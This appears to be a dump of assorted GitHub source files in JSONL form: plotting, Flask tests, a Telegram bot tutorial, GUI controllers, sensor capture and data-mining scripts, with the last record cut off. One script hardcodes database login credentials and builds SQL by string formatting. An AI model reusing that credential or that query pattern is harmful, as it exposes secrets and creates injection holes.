1], X[[i1, i2], 2], c='C0', zorder=100)\nax1.view_init(elev=33, azim=-6)\nax1.set_axis_off()\nax1.set_aspect(\"equal\")\nax1.set_title(\"As The Bird Flies\")\n\n\n## Plot Dijkstra's results\nax2 = fig.add_subplot(1, 2, 2, projection='3d')\nax2.scatter(X[:, 0], X[:, 1], X[:, 2], c=dists, cmap='afmhot')\nax2.plot(X[path, 0], X[path, 1], X[path, 2], c='C0', zorder=100)\nax2.view_init(elev=33, azim=-6)\nax2.set_axis_off()\nax2.set_aspect(\"equal\")\nax2.set_title(\"As The Ant Crawls\")\nplt.show()","repo_name":"Duntron1000/CS271","sub_path":"Lab8_Dijkstra-main/hand.py","file_name":"hand.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20533070246","text":"\nfrom os.path import basename, splitext\nfrom sqlalchemy import *\n\n\n\ndef update_names():\n engine = create_engine('mysql://annotator:multicomp@atlas4.multicomp.cs.cmu.edu/annodb')\n db_res = engine.execute('SELECT video_path FROM allvideos')\n video_path_list = [x[0] for x in db_res]\n \n for video_path in video_path_list:\n video_name = splitext(basename(video_path))[0]\n update_query = \"UPDATE allvideos SET video_name='%s' WHERE video_path='%s'\"%(video_name, video_path)\n engine.execute(update_query)\n\nif __name__=='__main__':\n update_names()","repo_name":"salmedina/MovieClipVideoAnnotator","sub_path":"Processing/VideoNameUpdate.py","file_name":"VideoNameUpdate.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"44037698376","text":"from flask.testing import FlaskClient\nfrom typing import Tuple\nfrom werkzeug.datastructures import ImmutableMultiDict\nimport logging\nlog = logging.getLogger(__name__)\n\n# methods to test:\n# login_required (done)\n# admin_only (done)\n\n# ---Requires Login---\n# logged in\ndef test_login_flag_true(test_client_with_db:Tuple[FlaskClient, any]):\n test_client, cursor = test_client_with_db\n with test_client.session_transaction() as session:\n session['username'] = 'name'\n response = test_client.post('/deleteaccount', data=ImmutableMultiDict([('email','user@gmail.com')]))\n assert response.status_code == 302\n assert b'Redirecting...', b'/home' in response.data\n\n# not logged in\ndef test_login_flag_false(test_client_with_db:Tuple[FlaskClient, any]):\n test_client, cursor = test_client_with_db\n response = test_client.post('/deleteaccount', data=ImmutableMultiDict([('email','user@gmail.com')]))\n assert response.status_code == 302\n assert b'Redirecting...', b'/login' in response.data\n\n# ---Admin Only---\n# admin\ndef test_admin_flag_true(test_client_with_db:Tuple[FlaskClient, any]):\n test_client, cursor = test_client_with_db\n with test_client.session_transaction() as session:\n session['username'] = 'name'\n session['admin'] = 1\n response = test_client.get('/addmachines')\n assert response.status_code == 200\n assert b'Add Machines' in response.data\n\n# not admin\ndef test_admin_flag_false(test_client:FlaskClient):\n with test_client.session_transaction() as session:\n session['username'] = 'name'\n response = test_client.get('/addmachines')\n assert response.status_code == 403\n assert b'Forbidden, 403' in response.data","repo_name":"cksitts/CS3141-R01-team7","sub_path":"tests/functional/test_user_auth.py","file_name":"test_user_auth.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16040799769","text":"__autor__ = \"Lautaro Linquiman\"\n\"\"\"\nDescripcion: Creando un bot en telegram que recibe comandos con argumentos y envia respuestas.\n\nwww.tutorialdeprogramacion.com\nGithub: http://github.com/ymil\nCurso: https://tutorialdeprogramacion.com/minicurso-crear-un-bot-de-telegram-con-python/\nEntrada blog: https://tutorialdeprogramacion.com/creando-bot-de-telegram-comandos-con-argumentos/\nVideo tutorial: https://www.youtube.com/watch?v=2dkPyedcvtc\n\nGists con trampitas: https://gist.github.com/Ymil/3f6620db40ce7151f070d5e807eaa590\n\"\"\"\n\nfrom telegram.ext import Updater\nfrom telegram.ext import CommandHandler\n\nbot_token = ''\n\nupdater = Updater(token=bot_token, user_context=True)\ndispatcher = updater.dispatcher\n\ndef start(update, context):\n chat_id = update.message.chat_id\n first_name = update.message.from_user.first_name\n msg = f'Hola {first_name}, bienvenido a nuestro bot'\n\n context.bot.sendMessage(chat_id=chat_id, text=msg)\n\ndef argumentos(update, context):\n args = context.args\n chat_id = update.message.chat_id \n if(len(args) > 0):\n if( args[0].lower() == \"hola\"):\n msg = 'Hola! ¿Como estas?'\n else:\n msg = 'Hola, no entendi! Prueba decirme hola!'\n else:\n msg = 'Debes pasarme un argumento'\n \n context.bot.sendMessage(chat_id=chat_id, text=msg)\n\nstickers = {\n 'chanchito': 'chanchito_sticker.png',\n 'freddy': 'freddy-sticker.png'\n}\n\ndef sticker(update, context):\n chat_id = update.message.chat_id\n args = context.args\n if len(args) == 0:\n msg = \"\"\"\n Necesito que me digas que sticker quieres\n Utiliza /listaStickers\n \"\"\"\n context.bot.sendMessage(chat_id=chat_id, text=msg)\n return\n\n name_sticker = args[0]\n if name_sticker in sticker:\n name_file = sticker[name_sticker]\n with open(name_file, 'rb') as sticker_file:\n context.bot.sendSticker(chat_id=chat_id, sticker=sticker_file,\n caption='Hola, te envio este sticker')\n else:\n msg = \"\"\"\n Lo siento, no tengo ese sticker.\n Utiliza /listaStickers\"\"\"\n context.bot.sendMessage(chat_id=chat_id, text=ms)\n\ndef listaStickers(update, context):\n chat_id = update.message.chat_id\n msg = \"Estos son mis stickers\\n\"\n for sticker_ in stickers.keys():\n msg += sticker_+\"\\n\"\n msg += \"Prueba con /sticker chanchito\"\n context.bot.sendMessage(chat_id=chat_id, text=msg)\n\nstart_handler = CommandHandler('start', start)\nargumentos_handler = CommandHandler('argumentos', argumentos)\nsticker_handler = CommandHandler('sticker', sticker)\nlistaStickers_handler = CommandHandler('listaStickers', listaStickers)\n\ndispatcher.add_handler(start_handler)\ndispatcher.add_handler(argumentos_handler)\ndispatcher.add_handler(sticker_handler)\ndispatcher.add_handler(listaStickers_handler)\n\nupdater.start_polling()","repo_name":"Ymil/telegram_bot_tutorial","sub_path":"t3-1_receiveCommands_with_Arguments.py","file_name":"t3-1_receiveCommands_with_Arguments.py","file_ext":"py","file_size_in_byte":2874,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"38506490726","text":"from ceramatch.controller.cmodel import CModel\nfrom ceramatch.controller.cview import CView\nfrom ceramatch.controller.cgraph import CGraph\nfrom ceramatch.controller.ccontrols import CControls\nfrom ceramatch.controller.cdialogs import CDialogs\nfrom ceramatch.controller.cactions import CActions\nfrom ceramatch.controller.chistory import CHistory\n\nfrom ceramatch import __version__\n\nfrom deposit_gui.controller.controller import Controller as DepositController\n\nfrom PySide2 import (QtWidgets, QtCore, QtGui)\nimport json\nimport sys\nimport os\n\nclass Controller(QtCore.QObject):\n\t\n\tdef __init__(self):\n\t\t\n\t\tQtCore.QObject.__init__(self)\n\t\t\n\t\tself._deposit_controller = None\n\t\t\n\t\tself.history = CHistory(self)\n\t\tself.cmodel = CModel(self)\n\t\tself.ccontrols = CControls(self)\n\t\tself.cgraph = CGraph(self)\n\t\tself.cview = CView(self, self.ccontrols, self.cgraph)\n\t\tself.cdialogs = CDialogs(self, self.cview)\n\t\tself.cactions = CActions(self, self.cview)\n\t\t\n\t\tself.cmodel.set_progress(self.cview.progress)\n\t\tself.cmodel.load_descriptors()\n\t\t\n\t\tself.cview.log_message(\"CeraMatch started\")\n\t\t\n\t\tself.cview.show()\n\t\t\n\t\tself.cview.init_query_toolbar()\n\t\t\n\t\tself.ccontrols.update()\n\t\tself.cmodel.update_model_info()\n\t\tself.cdialogs.open(\"Connect\")\n\t\n\t\n\t# ---- Signal handling\n\t# ------------------------------------------------------------------------\n\tdef on_close(self):\n\t\t\n\t\tif not self.check_save():\n\t\t\treturn False\n\t\t\n\t\tif self._deposit_controller is not None:\n\t\t\tself._deposit_controller.close()\n\t\treturn True\n\t\n\t\n\t# ---- get/set\n\t# ------------------------------------------------------------------------\n\tdef clear(self):\n\t\t\n\t\tself.ccontrols.clear()\n\t\tself.cgraph.clear()\n\t\tself.history.clear()\n\t\n\tdef check_save(self):\n\t\t\n\t\tif not self.cmodel.is_saved():\n\t\t\treply = QtWidgets.QMessageBox.question(self.cview._view, \n\t\t\t\t\"Exit\", \"Save changes to database?\",\n\t\t\t\tQtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No | QtWidgets.QMessageBox.Cancel\n\t\t\t)\n\t\t\tif reply == QtWidgets.QMessageBox.Yes:\n\t\t\t\tself.cactions.on_Save(True)\n\t\t\telif reply == QtWidgets.QMessageBox.No:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\t\n\t\treturn True\n\t\n\tdef import_descriptors(self, path):\n\t\t\n\t\twith open(path, \"r\") as f:\n\t\t\tdata = json.load(f)\n\t\tif len(data) == 2:\n\t\t\tattributes, descriptors = data\n\t\t\ton_drawing = []\n\t\telse:\n\t\t\tattributes, descriptors, _ = data\n\t\tself.cmodel.set_descriptors(descriptors)\n\t\tself.cmodel.set_attributes(attributes)\n\t\tself.ccontrols.update_attribute_data()\n\t\n\tdef open_deposit(self, querystr = None):\n\t\t\n\t\tif self._deposit_controller is None:\n\t\t\tself._deposit_controller = DepositController(\n\t\t\t\tself.cmodel._model._store\n\t\t\t)\n\t\tself._deposit_controller.cview.show()\n\t\tif querystr is not None:\n\t\t\tself._deposit_controller.cmdiarea.add_query(querystr)\n\t\n\tdef open_folder(self, path):\n\t\t\n\t\tif sys.platform in [\"linux\", \"linux2\", \"darwin\"]:\n\t\t\treturn # TODO\n\t\tif sys.platform.startswith(\"win\"):\n\t\t\tif os.path.isdir(path):\n\t\t\t\tos.startfile(path)\n\t\n\tdef open_in_external(self, path):\n\t\t\n\t\tif sys.platform in [\"linux\", \"linux2\", \"darwin\"]:\n\t\t\treturn # TODO\t\t\n\t\tif sys.platform.startswith(\"win\"):\n\t\t\tif os.path.isfile(path):\n\t\t\t\tos.startfile(path)\n\n","repo_name":"demjanp/CeraMatch","sub_path":"src/ceramatch/controller/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"16223749297","text":"import cv2\nimport os\n\ndirectory = \"/home/eddyhom/Documents/MasterThesis/Master-Thesis/DataBases/Emotios Labelled/RAFdatabase/PositiveCropped/\"\nf_directory = \"/home/eddyhom/Documents/MasterThesis/Master-Thesis/DataBases/Emotios Labelled/RAFdatabase/NegativeCropped\"\n\n\nclassifier = cv2.CascadeClassifier('haarcascade_frontalface_alt.xml')\n\nsize = 4\nimages = os.listdir(directory)\n\n \nfor img in images:\n\tfile = directory + img\n\tim = cv2.imread(file)\n\n\t#Resize the image to speed up detection\n\tmini = cv2.resize(im, (int(im.shape[1]/size), int(im.shape[0]/size)))\n\n\t#Detect Multiscale / faces\n\tfaces = classifier.detectMultiScale(mini)\n\n\t#Draw rectangles around each face\n\tfor f in faces:\n\t\t(x, y, w, h) = [v * size for v in f] #Scale the shapesize backup\n\t\tcv2.rectangle(im, (x,y), (x+w,y+h), (0,255,0), 1)\n\n\t\t#Save just the rectangle faces in SubRecFaces\n\t\tsub_face = im[y:y+h, x:x+w]\n\n\t\tFaceFileName = \"/home/eddyhom/Documents/MasterThesis/Master-Thesis/Python/Examples/TrainedCNN/test.jpg\" #Saving the current image from the webcam for testing\n\t\tcv2.imwrite(FaceFileName, sub_face)\n\n\n\n\n\t\n\t#Show the image\n\tcv2.imshow('Capture', im)\n\tkey = cv2.waitKey(10)\n\t\n\t#If Esc key is press the break\n\tif key == 27:\n\t\tbreak\n","repo_name":"eddyhom/Master-Thesis","sub_path":"Python/Examples/FixImages/crop.py","file_name":"crop.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10121462773","text":"'''\r\nCreated on 27-Feb-2019\r\n\r\n@author: Arpan Kundu\r\n'''\r\n\r\nimport pickle\r\n\r\nfrom AprioriImpl import assocGen\r\nimport pandas as pd\r\n\r\nif __name__ == \"__main__\":\r\n traffic_data = \"Sample_Data.csv\"\r\n TrafficData = pd.read_csv (traffic_data)\r\n \r\n # Remove unnecessary columns\r\n TrafficData.pop(\"Unnamed: 0\")\r\n TrafficData.pop(\"Message ID\")\r\n \r\n # Data Reduction\r\n dataset = [] # Reduced set of messages\r\n reducedItemSet = {} # Set of reduced phrases\r\n for index, row in TrafficData.iterrows():\r\n s = row[\"Message Phrases\"]\r\n s = s [1 :-1] # Removes '[' and ']'\r\n messagePhrases = s.split (':', -1) # Returns an array of all the message phrases\r\n reducedMessagePhrases = [] # Array of all reduced phrases\r\n for messagePhrase in messagePhrases:\r\n messagePhrase = messagePhrase.lstrip() # Removes leading white spaces\r\n \r\n # Reduce each message phrase to the portion which is suspicious\r\n if messagePhrase.startswith(\"open\"):\r\n reducedMessagePhrase = \"open\" \r\n elif messagePhrase.startswith(\"limited period\"):\r\n reducedMessagePhrase = \"limited period\" \r\n elif messagePhrase.startswith(\"work less\"):\r\n reducedMessagePhrase = \"work less\" \r\n elif messagePhrase.endswith(\"millionaire\"):\r\n reducedMessagePhrase = \"millionaire\" \r\n elif messagePhrase.endswith(\"shortlisted\"):\r\n reducedMessagePhrase = \"shortlisted\" \r\n elif messagePhrase.startswith(\"call\"):\r\n reducedMessagePhrase = \"call\" \r\n elif messagePhrase.startswith(\"meet\"):\r\n reducedMessagePhrase = \"meet\" \r\n elif messagePhrase.startswith(\"role\"):\r\n reducedMessagePhrase = \"role\" \r\n else:\r\n reducedMessagePhrase = messagePhrase\r\n reducedMessagePhrases.append(reducedMessagePhrase) # Reduced message phrases are later checked for presence in a communication\r\n try:\r\n reducedItemSet[reducedMessagePhrase].add(messagePhrase)\r\n except:\r\n reducedItemSet[reducedMessagePhrase] = {messagePhrase}\r\n dataset.append (reducedMessagePhrases)\r\n \r\n # Print Hash Map\r\n index = 0\r\n count = 0\r\n print (\"REDUCTION TO SUSPICIOUS SUB-PHRASE\")\r\n for reducedItem in reducedItemSet:\r\n s = \"\"\r\n index = index + 1\r\n for item in reducedItemSet[reducedItem]:\r\n s = s + item + \", \"\r\n count = count + 1\r\n print (str (index) + \" \" + reducedItem + \": \" + s [0 :-2])\r\n print (\"Total number of items:\", count)\r\n print ()\r\n \r\n # Reduction of Phrase to Type\r\n finalDataset = [] # Final set of messages\r\n finalReducedItemSet = {} # Set of message types\r\n for messagePhrases in dataset:\r\n reducedMessagePhrases = [] # Array of all message types\r\n for messagePhrase in messagePhrases:\r\n messagePhrase = messagePhrase.lstrip() # Removes leading white spaces\r\n \r\n # Reduce each message phrase to its corresponding type\r\n if messagePhrase == \"millionaire\" or messagePhrase == \"work less\":\r\n reducedMessagePhrase = \"high payment for minimal work\" \r\n elif messagePhrase == \"received your profile\" or messagePhrase == \"shortlisted\":\r\n reducedMessagePhrase = \"suspicious recruitment\" \r\n elif messagePhrase == \"get hired today\" or messagePhrase == \"limited period\":\r\n reducedMessagePhrase = \"quick recruitment\" \r\n elif messagePhrase == \"call\" or messagePhrase == \"meet\":\r\n reducedMessagePhrase = \"communicate\"\r\n else:\r\n reducedMessagePhrase = messagePhrase\r\n reducedMessagePhrases.append(reducedMessagePhrase) # These phrases are fed into the apriori algorithm\r\n try:\r\n finalReducedItemSet[reducedMessagePhrase].add(messagePhrase)\r\n except:\r\n finalReducedItemSet[reducedMessagePhrase] = {messagePhrase}\r\n finalDataset.append (reducedMessagePhrases)\r\n \r\n # Print Hash Map\r\n index = 0\r\n count = 0\r\n print (\"REDUCTION TO TYPE\")\r\n for reducedItem in finalReducedItemSet:\r\n s = \"\"\r\n index = index + 1\r\n for item in finalReducedItemSet[reducedItem]:\r\n s = s + item + \", \"\r\n count = count + 1\r\n print (str (index) + \" \" + reducedItem + \": \" + s [0 :-2])\r\n print (\"Total number of items:\", count)\r\n print ()\r\n \r\n # Save reduction to type which will be later used for reducing phrases in a communication\r\n f = open(\"reduction2type\", \"wb\")\r\n pickle.dump(finalReducedItemSet, f)\r\n f.close()\r\n\r\n # A-Priori Algorithm\r\n assocGen (finalDataset, # Dataset\r\n finalReducedItemSet.keys(), # Item Set\r\n 0.002, # Minimum Support\r\n 0.5 # Minimum Confidence\r\n )\r\n","repo_name":"ArpanKundu97/Technothon","sub_path":"Data_Analysis.py","file_name":"Data_Analysis.py","file_ext":"py","file_size_in_byte":5043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6323844646","text":"from datetime import datetime\nimport numpy as np\n\ndef get_uvvis_archive(data, datetime_object, data_file):\n from baseclasses.solar_energy import UVvisData\n data_entry = UVvisData()\n if datetime_object is not None:\n data_entry.datetime = datetime_object.strftime(\n \"%Y-%m-%d %H:%M:%S.%f\")\n data_entry.name = data_file\n data_entry.wavelength = np.array(data[0])\n data_entry.intensity = np.array(data[1])\n return data_entry","repo_name":"RoteKekse/nomad-baseclasses","sub_path":"baseclasses/helper/archive_builder/uvvis_archive.py","file_name":"uvvis_archive.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23248251268","text":"# This is an example for saving images (txt and png) with the Heimann IR Sensor.\n# It is not finished yet and has some errors (running the script multiple times solves this for now)\n#\n# hterm.exe als Serial Plotter\n\n# Import needed libraries\nimport serial\nfrom time import sleep\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom datetime import datetime\nimport os\n\n# For Folder Selection Window\nimport tkinter as tk\nfrom tkinter import filedialog\n\nroot = tk.Tk()\nroot.withdraw()\n\n\n# 1) Select your type of sensor\n\n# ARRAY = (8, 8) # 8x8 Sensor\n# ARRAY = (16, 16) # 16x16 Sensor\nARRAY = (40, 60) # 60x40 Sensor\n\n# 2) Select your COM Port and Baudrate (should be fixed for the ESP.ino script)\nCOMPORT = \"COM4\"\nBAUDRATE = 115200\n\n# 3) Save Options\nshowFolderSelectionWindow = True\n\n\ndef strfdelta(tdelta, fmt):\n d = {\"days\": tdelta.days}\n d[\"hours\"], rem = divmod(tdelta.seconds, 3600)\n d[\"minutes\"], d[\"seconds\"] = divmod(rem, 60)\n d[\"micro\"] = tdelta.microseconds\n return fmt.format(**d)\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n\n # Prompt to ask how many images should be saved\n nImagesToSave = int(input(\"How many images to save?\\n\"))\n\n # Save Settings\n if showFolderSelectionWindow:\n dir_name = filedialog.askdirectory(initialdir=os.getcwd()) # Folder Selection Dialog\n else:\n dir_name = os.getcwd() # Current Working Directory\n suffix = '.txt'\n\n # Initialize Serial Communication\n print(\"Initializing serial communication ...\")\n ser = serial.Serial(COMPORT, BAUDRATE) # Open port with baud rate\n print(\"finished.\\n\")\n\n # TODO Lösung bei Sensor-Abbruch (evtl. Arduino-seitig)\n while ser.in_waiting:\n print(\"hier\")\n data_out = ser.readline() #.decode(\"ascii\")\n print(\"ende\")\n print(data_out)\n\n # sleep(0.1)\n\n # Using current time\n ini_time = datetime.now()\n\n for x in range(nImagesToSave):\n\n ser.write(\"a\".encode())\n # ser.write(b'01100001')\n sleep(0.01)\n\n if ARRAY == (8, 8):\n data_out = ser.read(357) # 8*302 Bytes + 21 Bytes Header\n # print(data_out.decode())\n\n if ARRAY == (16, 16):\n data_out = ser.read(1339) # 16*82 Bytes + 21 Bytes Header\n # print(\"Ab hier.\")\n # print(data_out.decode())\n # print(\"Bis hier.\")\n\n # Reads one frame for 40,60 Sensor\n if ARRAY == (40, 60):\n data_out = ser.read(12101) # 40*302 Bytes + 21 Bytes Header\n # print(data_out.decode())\n\n # Evtl. TODO for other Sensors\n\n # else:\n # # Reads one frame\n # while ser.in_waiting:\n # data_out = ser.read() # .decode(\"ascii\")\n # sleep(0.05)\n # data_left = ser.inWaiting() # check for remaining byte\n # data_out += ser.read(data_left)\n # # print(data_out.decode())\n # print(\"Received Data.\\n\")\n\n imageData = data_out.decode()\n\n if ARRAY == (8,8):\n imageData = imageData[21:-1] # (ab dem 21. Bit wg. Header)\n elif ARRAY == (16, 16):\n imageData = imageData[27:-1] #TODO (ab dem 27. Bit wg. Header)\n elif ARRAY == (40, 60):\n imageData = imageData[21:-1] # (ab dem 21. Bit wg. Header)\n\n # Write result to file\n fname = '{}_{}_{}.txt'.format(ARRAY, x, strfdelta(datetime.now()-ini_time, \"{hours}-{minutes}-{seconds}-{micro}\"))\n base_filename = '{}_{}_{}'.format(ARRAY, x, strfdelta(datetime.now()-ini_time, \"{hours}-{minutes}-{seconds}-{micro}\"))\n savePath = os.path.join(dir_name, base_filename + suffix)\n f = open(savePath, 'w')\n f.write(imageData.strip(\"\\n\"))\n print(\"File written to '{}'.\\n\".format(fname))\n\n sleep(0.01)\n\n # Closing Port\n ser.close()\n\n # Plots last image and saves it\n test = np.fromstring(imageData, sep='\\t')\n test = test.reshape(ARRAY)\n plt.imshow(test, interpolation='none')\n plt.title(\"Received IR-Data\")\n\n plt.savefig('IR_Array.png')\n plt.show()\n\n\n","repo_name":"p4t7m4n/IR_Array","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16260588843","text":"import time\n\nfrom PySide.QtCore import QThread\nfrom PySide.QtCore import QTimer\nfrom PySide.QtGui import QMainWindow\nfrom PySide.QtGui import QWidget\n\nimport xlf\nfrom xlfview import RegionView\nfrom xthread import XmdsThread\nfrom xthread import XmrThread\n\n\nclass CentralWidget(QWidget):\n def __init__(self, xmds, parent):\n super(CentralWidget, self).__init__(parent)\n self._xmds = xmds\n\n def queue_stats(self, type_, from_date, to_date, schedule_id, layout_id, media_id):\n self._xmds.queue_stats(type_, from_date, to_date, schedule_id, layout_id, media_id)\n\n\nclass MainWindow(QMainWindow):\n def __init__(self, config):\n super(MainWindow, self).__init__()\n self._schedule_id = '0'\n self._config = config\n self._region_view = []\n self._xmds = None\n self._xmr = None\n self._running = False\n\n self._layout_id = None\n self._layout_time = (0, 0)\n self.setup_xmr()\n self.setup_xmds()\n self._central_widget = CentralWidget(self._xmds, self)\n self._layout_timer = QTimer()\n self._layout_timer.setSingleShot(True)\n self._layout_timer.timeout.connect(self.stop)\n self.setCentralWidget(self._central_widget)\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.stop()\n self._xmds.stop()\n if self._xmr:\n self._xmr.stop()\n if exc_tb or exc_type or exc_val:\n pass\n\n def setup_xmds(self):\n self._xmds = XmdsThread(self._config, self)\n self._xmds.layout_signal.connect(self.set_layout)\n self._xmds.downloaded_signal.connect(self.item_downloaded)\n if self._config.xmdsVersion > 4:\n self._xmds.set_xmr_info(self._xmr.channel, self._xmr.pubkey)\n self._xmds.start(QThread.IdlePriority)\n\n def setup_xmr(self):\n if self._config.xmdsVersion > 4:\n self._xmr = XmrThread(self._config, self)\n self._xmr.start(QThread.IdlePriority)\n\n def set_layout(self, layout_id, schedule_id, layout_time):\n if self._layout_id != layout_id:\n self.stop()\n self.play(layout_id, schedule_id)\n\n self._layout_id = layout_id\n self._schedule_id = schedule_id\n self._layout_time = layout_time\n\n if schedule_id and layout_time[1]:\n stop_time = layout_time[1] - time.time()\n self._layout_timer.setInterval(int(stop_time * 1000))\n self._layout_timer.start()\n\n def item_downloaded(self, entry):\n if 'layout' == entry.type and self._layout_id == entry.id:\n self.stop()\n self.play(self._layout_id, self._schedule_id)\n\n def play(self, layout_id, schedule_id):\n path = \"%s/%s%s\" % (self._config.saveDir, layout_id, self._config.layout_file_ext)\n layout = xlf.parse_file(path)\n if not layout:\n return False\n\n self._schedule_id = schedule_id\n self.setStyleSheet('background-color: %s' % layout['bgcolor'])\n for region in layout['regions']:\n region['_layout_id'] = layout_id\n region['_schedule_id'] = self._schedule_id\n region['_save_dir'] = self._config.saveDir\n view = RegionView(region, self._central_widget)\n self._region_view.append(view)\n view.play()\n\n return True\n\n def stop(self):\n if self._region_view:\n for view in self._region_view:\n view.stop()\n del self._region_view[:]\n self._central_widget = None\n self._central_widget = CentralWidget(self._xmds, self)\n self.setCentralWidget(self._central_widget)\n","repo_name":"ajiwo/xiboside","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"27759451275","text":"from zope.interface import implementer\r\nfrom ClaseInterface import IColeccion\r\nfrom ClasePersonal import personal\r\nfrom ClaseDocente import docente\r\nfrom ClaseInvestigador import investigador\r\nfrom ClasePersonalApoyo import personalApoyo\r\nfrom ClaseDocenteInvestigador import docenteInvestigador\r\n\r\n\r\nclass Nodo:\r\n __personal = None\r\n __siguiente = None\r\n\r\n def __init__(self, personal):\r\n self.__personal = personal\r\n self.__siguiente = None\r\n\r\n def setSiguiente(self, siguiente):\r\n self.__siguiente = siguiente\r\n\r\n def getSiguiente(self):\r\n return self.__siguiente\r\n\r\n def getDato(self):\r\n return self.__personal\r\n\r\n\r\n@implementer(IColeccion)\r\nclass coleccion:\r\n __comienzo = None\r\n __actual = None\r\n __indice = 0\r\n __tope = 0\r\n\r\n def __init__(self):\r\n self.__comienzo = None\r\n self.__actual = None\r\n\r\n def __iter__(self):\r\n return self\r\n\r\n def __next__(self):\r\n if self.__indice == self.__tope:\r\n self.__actual = self.__comienzo\r\n self.__indice = 0\r\n raise StopIteration\r\n else:\r\n self.__indice += 1\r\n dato = self.__actual.getDato()\r\n self.__actual = self.__actual.getSiguiente()\r\n return dato\r\n\r\n def agregarElemento(self, personal):\r\n\r\n actual = self.__comienzo\r\n anterior = None\r\n pos = 0\r\n tamanio = self.__sizeof__()\r\n while pos < tamanio:\r\n anterior = actual\r\n actual = actual.getSiguiente()\r\n pos += 1\r\n nuevo = Nodo(personal)\r\n if anterior is None:\r\n nuevo.setSiguiente(actual)\r\n self.__comienzo = nuevo\r\n else:\r\n anterior.setSiguiente(nuevo)\r\n self.__tope += 1\r\n\r\n def toJSON(self):\r\n d = dict(__class__= self.__class__.__name__, __aparatos=[personal.toJSON() for personal in self.__comienzo])\r\n return d\r\n\r\n def insertarElemento(self,pos,agente):\r\n if pos > self.__sizeof__() - 1:\r\n raise IndexError(\"Posicion fuera del rango\")\r\n actual = self.__comienzo\r\n anterior = None\r\n aux = 0\r\n if pos is 0:\r\n self.agregarAparato(agente)\r\n else:\r\n nuevo = Nodo(agente)\r\n while aux < pos:\r\n aux += 1\r\n anterior = actual\r\n actual = actual.getSiguiente()\r\n anterior.setSiguiente(nuevo)\r\n nuevo.setSiguiente(actual)\r\n\r\n def mostrarElemento(self,pos):\r\n dato = None\r\n if pos > self.__sizeof__():\r\n raise Exception (\"Index out of bounds\")\r\n\r\n actual = self.__comienzo\r\n if pos is None:\r\n dato = actual.getDato()\r\n self.__comienzo = actual.getSiguiente()\r\n else:\r\n aux = 0\r\n anterior = None\r\n while aux < pos:\r\n anterior = actual\r\n actual = actual.getSiguiente()\r\n aux += 1\r\n dato = actual.getDato()\r\n anterior.setSiguiente(actual.getSiguiente())\r\n\r\n if isinstance(dato,docente):\r\n print(\"El elemento es un docente\")\r\n elif isinstance(dato,investigador):\r\n print(\"El elemento es un investigador\")\r\n elif isinstance(dato,personalApoyo):\r\n print(\"El elemento es un personal de apoyo\")\r\n elif isinstance(dato,docenteInvestigador):\r\n print(\"El elemento es un docente investigador\")\r\n\r\n\r\n def generaListadoDocenteInvestigador(self):\r\n pass\r\n\r\n def segunArea(self,area):\r\n contD=0\r\n contA=0\r\n actual = self.__comienzo\r\n while actual is not None:\r\n if isinstance(actual.getDato(),docenteInvestigador):\r\n contD += 1\r\n if actual.getArea()==area:\r\n contA += 1\r\n self.__comienzo = actual.getSiguiente()\r\n self.__tope -= 1\r\n else:\r\n anterior = actual\r\n actual = actual.getSiguiente()\r\n while actual !=None:\r\n if isinstance(actual.getDato(),docenteInvestigador):\r\n contD += 1\r\n if actual.getArea()==area:\r\n contA += 1\r\n else:\r\n anterior = actual\r\n actual = actual.getSiguiente()\r\n\r\n def listadoOrdenadoApellido(self):\r\n pass\r\n\r\n def segunCategoria(self,categoria):\r\n actual = self.__comienzo\r\n while actual is not None:\r\n if isinstance(actual.getDato(), docenteInvestigador) and actual.getDato().getCategoria() == categoria:\r\n print(actual.getDato())\r\n print(actual.getDato().importeExtra())\r\n self.__comienzo = actual.getSiguiente()\r\n self.__tope -= 1\r\n else:\r\n anterior = actual\r\n actual = actual.getSiguiente()\r\n while actual !=None:\r\n if isinstance(actual.getDato(), docenteInvestigador) and actual.getDato().getCategoria() == categoria:\r\n print(actual.getDato())\r\n print(actual.getDato().importeExtra())\r\n else:\r\n anterior = actual\r\n actual = actual.getSiguiente()\r\n","repo_name":"katherina-00/Unidad-3","sub_path":"ejercicio8/ClaseColeccion.py","file_name":"ClaseColeccion.py","file_ext":"py","file_size_in_byte":5416,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18377271964","text":"# -*- coding: utf-8 -*\nimport xgboost as xgb\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\n\nfrom model.load_data import load_data, split_test_data\n\n\ndef run_xgb(X_train, y_train, X_val, y_val, X_test, y_test):\n gbm = xgb.XGBClassifier(\n # learning_rate = 0.02,\n n_estimators=1000,\n max_depth=4,\n min_child_weight=2,\n gamma=0.9,\n subsample=0.8,\n colsample_bytree=0.8,\n objective='binary:logistic',\n nthread=-1,\n 